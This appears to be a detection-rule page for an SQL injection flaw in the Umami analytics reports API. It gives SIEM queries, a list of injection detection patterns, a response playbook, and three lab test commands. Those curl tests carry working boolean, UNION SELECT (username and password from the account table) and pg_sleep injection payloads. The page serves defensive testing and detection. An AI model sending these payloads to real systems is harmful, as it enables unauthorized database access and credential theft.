Umami Reports API SQL Injection via Filter Prefix (CVE-2026-138445)
Detects exploitation attempts against CVE-2026-138445, an SQL injection vulnerability in Umami analytics through version 3.5.0. The flaw is in the reports API. A crafted filter 'prefix' value, parsed in src/lib/params.ts and passed to raw SQL construction in src/lib/prisma.ts, is concatenated into a query without proper parameterization. Share token holders or any authenticated user can inject SQL (CWE-89, CVSS 9.4). Detection focuses on anomalous HTTP requests to Umami report and filter endpoints containing SQL metacharacters or injection syntax in the prefix or filter parameters, plus database-side signs of injected query structure.
Based on VulnCheck Advisory, Umami through 3.5.0 SQL Injection via Reports API Filter Prefix
Vulnerability Intelligence
TheoreticalWeakness (CWE)
Timeline
- Disclosed
- November 29, 2026
References & Proof of Concept
- https://github.com/umami-software/umami
- https://github.com/umami-software/umami/blob/d3c62a805beda8643cb468924dda38617fb4c286/src/lib/params.ts#L84-L91
- https://github.com/umami-software/umami/blob/d3c62a805beda8643cb468924dda38617fb4c286/src/lib/prisma.ts#L194
- https://github.com/umami-software/umami/commit/98937e71bd776a44c58190051a58cdac811a5daf
- https://www.vulncheck.com/advisories/umami-through-3.5.0-sql-injection-via-reports-api-filter-prefix
CVSS
What is CVE-2026-138445 Umami Reports API SQL Injection via Filter Prefix (CVE-2026-138445)?
Umami Reports API SQL Injection via Filter Prefix (CVE-2026-138445) (CVE-2026-138445) maps to the Initial Access and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Umami Reports API SQL Injection via Filter Prefix (CVE-2026-138445), covering the data sources and telemetry it touches: IIS Logs, Reverse Proxy Logs, Web Server Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Collection
// df00tech DF00-4652b2b708 · https://df00tech.com/detections/CVE-2026-138445 · licence: https://df00tech.com/detections/licence
let sqlPatterns = dynamic(["union select","' or ","'||","'--","/*","xp_","pg_sleep","waitfor delay","information_schema","convert(","cast(","';","0x"]);
W3CIISLog
| where csUriStem has_any ("/api/reports", "/api/websites", "/share")
| where tolower(csUriQuery) has "filter" or tolower(csUriQuery) has "prefix" or tolower(csReferer) has "reports"
| extend decodedQuery = url_decode(csUriQuery)
| where decodedQuery has_any (sqlPatterns)
| project TimeGenerated, cIP, csUsername, csMethod, csUriStem, decodedQuery, scStatus, csUserAgent
| sort by TimeGenerated desc Flags IIS/reverse-proxy logged requests to Umami reports or share endpoints whose decoded query string contains SQL injection syntax in the filter/prefix parameter.
Data Sources
Required Tables
False Positives
- Security scanners or DAST tools (Burp, OWASP ZAP) running authorized assessments against the Umami instance
- Legitimate report filters that happen to contain special characters such as apostrophes in referrer/page names
- Penetration testers validating the patch for CVE-2026-138445
Query fingerprint DF00-4652b2b708 · licence
Sigma logsource & community rules
The detection logic for Umami Reports API SQL Injection via Filter Prefix (CVE-2026-138445) (CVE-2026-138445) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-138445
References (5)
- https://github.com/umami-software/umami
- https://github.com/umami-software/umami/blob/d3c62a805beda8643cb468924dda38617fb4c286/src/lib/params.ts#L84-L91
- https://github.com/umami-software/umami/blob/d3c62a805beda8643cb468924dda38617fb4c286/src/lib/prisma.ts#L194
- https://github.com/umami-software/umami/commit/98937e71bd776a44c58190051a58cdac811a5daf
- https://www.vulncheck.com/advisories/umami-through-3.5.0-sql-injection-via-reports-api-filter-prefix
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Boolean-based SQL injection via reports filter prefix
Expected signal: Web/proxy access log entry for /api/reports with URL-decoded filter containing "' OR '1'='1".
- Test 2 UNION-based SQL injection via filter prefix
Expected signal: Access log and database query log showing a UNION SELECT appended to the reports query.
- Test 3 Time-based blind SQL injection via filter prefix
Expected signal: Access log entry with pg_sleep in decoded filter and an abnormally long request duration (~5s).
Response Playbook
Triage
- Confirm the targeted host runs Umami and identify its version. Versions through 3.5.0 are vulnerable to CVE-2026-138445.
- Extract the full URL-decoded filter/prefix parameter from the alerting request and determine whether it contains functional SQL (UNION SELECT, boolean or time-based payloads, information_schema access) versus benign special characters.
- Identify the authenticated principal or share token used. Share token holders and any authenticated user can reach the vulnerable reports API. Review that account's recent request history.
- Correlate the request timestamp with database logs to see whether an injected query executed successfully (non-error response, abnormal latency for time-based payloads).
Containment
- Block the offending source IP and revoke the implicated share tokens and/or disable the authenticated account at the Umami or reverse-proxy layer.
- Apply the vendor fix (commit 98937e71bd776a44c58190051a58cdac811a5daf) or upgrade Umami past 3.5.0. If immediate patching is impossible, restrict access to /api/reports and share endpoints via WAF rules rejecting SQL metacharacters in filter parameters.
Evidence Collection
- Preserve web/proxy access logs, Umami application logs, and the underlying PostgreSQL query logs covering the attack window.
- Capture the raw malicious request payloads, the authenticated session or share token, and any database error or result-size anomalies tied to the injected queries.
Escalation Criteria
- ! Escalate to incident response if database logs confirm a successful injected query returned data (for example, information_schema enumeration or dumped analytics or user tables).
- ! Escalate if evidence shows stacked queries, data modification, or lateral access to credentials stored in the Umami database.
Investigation Guide
Forensic Artifacts
- >
Web/reverse-proxy access logs showing report/share requests with SQL metacharacters in the filter prefix - >
Database query logs containing malformed or injected SQL originating from the Umami application user - >
Umami application logs and the share_token or session records tied to the implicated principal
Tuning Guidance
Baseline legitimate filter values used by your analysts. Some dimension or page names legitimately contain apostrophes or SQL keywords. Narrow the SQL pattern list to high-fidelity constructs (UNION SELECT, information_schema, time-based functions) if benign special characters generate noise, and exclude the source IPs of authorized scanners. Prioritize alerts where the authenticating principal is a share token holder, since that is the lowest-privilege path to the vulnerable endpoint.
Hunting Queries
Aggregates injection-signature requests to Umami report/share endpoints by source and user to spot repeated probing.
// df00tech DF00-4652b2b708 · https://df00tech.com/detections/CVE-2026-138445 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("/api/reports","/share") | extend q=url_decode(csUriQuery) | where q has_any ("information_schema","pg_sleep","union select") | summarize count() by cIP, csUsername, bin(TimeGenerated, 1h) ``` df00tech DF00-4652b2b708 · https://df00tech.com/detections/CVE-2026-138445 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/api/reports*" OR uri_path="*/share*") | eval q=urldecode(uri_query) | search q="*information_schema*" OR q="*pg_sleep*" OR q="*union select*" | stats count by src_ip, user Atomic Red Team Tests
Sends an authenticated request to the Umami reports API with a boolean injection payload in the filter prefix parameter.
Command
curl -s -H "Authorization: Bearer $UMAMI_SHARE_TOKEN" "https://umami.lab.local/api/reports/insights?websiteId=1&filters=%5B%7B%22field%22%3A%22url%22%2C%22value%22%3A%22abc%27%20OR%20%271%27%3D%271%22%7D%5D" Cleanup
echo 'No persistent change; clear app and proxy logs in lab if required.' Expected Telemetry
Web/proxy access log entry for /api/reports with URL-decoded filter containing "' OR '1'='1".
Expected Detection
KQL/SPL rules flag the decoded query string containing "' or " against the reports endpoint.
Attempts a UNION SELECT injection in the filter prefix to enumerate database schema.
Command
curl -s -H "Authorization: Bearer $UMAMI_SHARE_TOKEN" "https://umami.lab.local/api/reports/funnel?websiteId=1&prefix=x%27%20UNION%20SELECT%20username%2Cpassword%20FROM%20account--" Cleanup
echo 'No persistent change in lab environment.' Expected Telemetry
Access log and database query log showing a UNION SELECT appended to the reports query.
Expected Detection
All seven SIEM rules match the "union select" / information enumeration signature.
Issues a time-based blind injection (pg_sleep) to confirm exploitability without visible output.
Command
curl -s -o /dev/null -w "%{time_total}\n" -H "Authorization: Bearer $UMAMI_SHARE_TOKEN" "https://umami.lab.local/api/reports/insights?websiteId=1&prefix=x%27%3B%20SELECT%20pg_sleep(5)--" Cleanup
echo 'No cleanup needed; lab only.' Expected Telemetry
Access log entry with pg_sleep in decoded filter and an abnormally long request duration (~5s).
Expected Detection
Rules match the pg_sleep / time-based delay signature on the reports endpoint.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040